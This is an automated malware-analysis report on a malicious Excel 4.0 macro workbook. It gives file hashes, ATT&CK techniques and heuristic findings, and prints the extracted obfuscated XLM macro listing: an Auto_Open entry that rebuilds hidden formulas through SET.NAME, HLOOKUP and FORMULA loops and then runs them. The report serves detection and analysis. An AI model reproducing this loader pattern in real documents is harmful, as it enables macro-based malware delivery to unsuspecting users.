Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9bb7ca4b9721604d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:37:01 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: a1478312f998fd85937a339e726e2493 SHA-1: b1e4d6b6607ef3ba2d00d862c9633523842005a2 SHA-256: 9bb7ca4b9721604d380f1e47574f4396a9166ecc4c4eb86845ef5367cbf055dd
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro sheet containing an Auto_Open defined name, indicating it will execute macros upon opening. Heuristics identified dangerous formula APIs, specifically a RUN function, suggesting the macro is designed to execute arbitrary code. The presence of an Auto_Open entry strongly suggests an attempt to achieve client execution via macro abuse.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6572 bytes
SHA-256: 0ce77b16a260c3ca1c83d4ed99ca0be0276fd66d371eda781fb0c0fd4c7fa82b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  nMIAaPfyO
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C158 
' 0018     26 LABEL : Cell Value, String Constant - ByYUVjnxZMD len=0 
' 0018     26 LABEL : Cell Value, String Constant - cIIeVALZmNS len=0 
' 0018     23 LABEL : Cell Value, String Constant - evCXAlnh len=0 
' 0018     21 LABEL : Cell Value, String Constant - FkpWWt len=0 
' 0018     21 LABEL : Cell Value, String Constant - FXnazQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - gdPhBtoa len=0 
' 0018     27 LABEL : Cell Value, String Constant - GyRjggXcYIww len=0 
' 0018     24 LABEL : Cell Value, String Constant - JgABHvqFq len=0 
' 0018     23 LABEL : Cell Value, String Constant - kpAmMWHh len=0 
' 0018     27 LABEL : Cell Value, String Constant - lTerJRQKbfPD len=0 
' 0018     20 LABEL : Cell Value, String Constant - mvdbu len=0 
' 0018     25 LABEL : Cell Value, String Constant - oBGXSdinpR len=0 
' 0018     20 LABEL : Cell Value, String Constant - PMfrw len=0 
' 0018     22 LABEL : Cell Value, String Constant - rGpBCSJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - TrHhMGY len=0 
' 0018     23 LABEL : Cell Value, String Constant - TsprJuPa len=0 
' 0018     23 LABEL : Cell Value, String Constant - ucbhtJMo len=0 
' 0018     22 LABEL : Cell Value, String Constant - VKQdINt len=0 
' 0018     23 LABEL : Cell Value, String Constant - VkSRxtZL len=0 
' 0018     27 LABEL : Cell Value, String Constant - ySvMzqUbSLHq len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  nMIAaPfyO,C65,"SET.NAME("rGpBCSJ",VALUE("0"))",""
'  nMIAaPfyO,C67,"SET.NAME("TsprJuPa",rGpBCSJ)",""
'  nMIAaPfyO,C70,"SET.NAME("FXnazQ",rGpBCSJ)",""
'  nMIAaPfyO,C72,"SET.NAME("PMfrw",COUNTA(ucbhtJMo))",""
'  nMIAaPfyO,C76,"SET.NAME("VkSRxtZL",COUNTA(kpAmMWHh))",""
'  nMIAaPfyO,C81,[],""
'  nMIAaPfyO,C83,"SET.NAME("ByYUVjnxZMD","")",""
'  nMIAaPfyO,C85,"TsprJuPa",""
'  nMIAaPfyO,C89,"SET.NAME("cIIeVALZmNS",HLOOKUP("*",ucbhtJMo,TsprJuPa,FALSE))",""
'  nMIAaPfyO,C94,"mvdbu",""
'  nMIAaPfyO,C98,"SET.NAME("JgABHvqFq",rGpBCSJ)",""
'  nMIAaPfyO,C103,[],""
'  nMIAaPfyO,C107,"JgABHvqFq",""
'  nMIAaPfyO,C110,"FkpWWt",""
'  nMIAaPfyO,C115,"VKQdINt",""
'  nMIAaPfyO,C118,"lTerJRQKbfPD",""
'  nMIAaPfyO,C120,"SET.NAME("TrHhMGY",VALUE(HLOOKUP("*",kpAmMWHh,lTerJRQKbfPD,FALSE)))",""
'  nMIAaPfyO,C124,"ySvMzqUbSLHq",""
'  nMIAaPfyO,C129,"ByYUVjnxZMD",""
'  nMIAaPfyO,C132,"FXnazQ",""
'  nMIAaPfyO,C135,NEXT(),""
'  nMIAaPfyO,C139,"gdPhBtoa",""
'  nMIAaPfyO,C142,"SET.NAME("f",INT(T(FORMULA(T(ByYUVjnxZMD)&"",""&T(gdPhBtoa)))))",""
'  nMIAaPfyO,C147,"evCXAlnh",""
'  nMIAaPfyO,C150,NEXT(),""
'  nMIAaPfyO,C153,RETURN(),""
'  nMIAaPfyO,C184,"SET.NAME("GyRjggXcYIww",C65)",""
'  nMIAaPfyO,C189,"ucbhtJMo",""
'  nMIAaPfyO,C194,"SET.NAME("kpAmMWHh",R75C14)",""
'  nMIAaPfyO,C199,"SET.NAME("evCXAlnh",204)",""
'  nMIAaPfyO,C201,"SET.NAME("oBGXSdinpR",3)",""
'  nMIAaPfyO,C203,GyRjggXcYIww(),""
'  nMIAaPfyO,C204,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.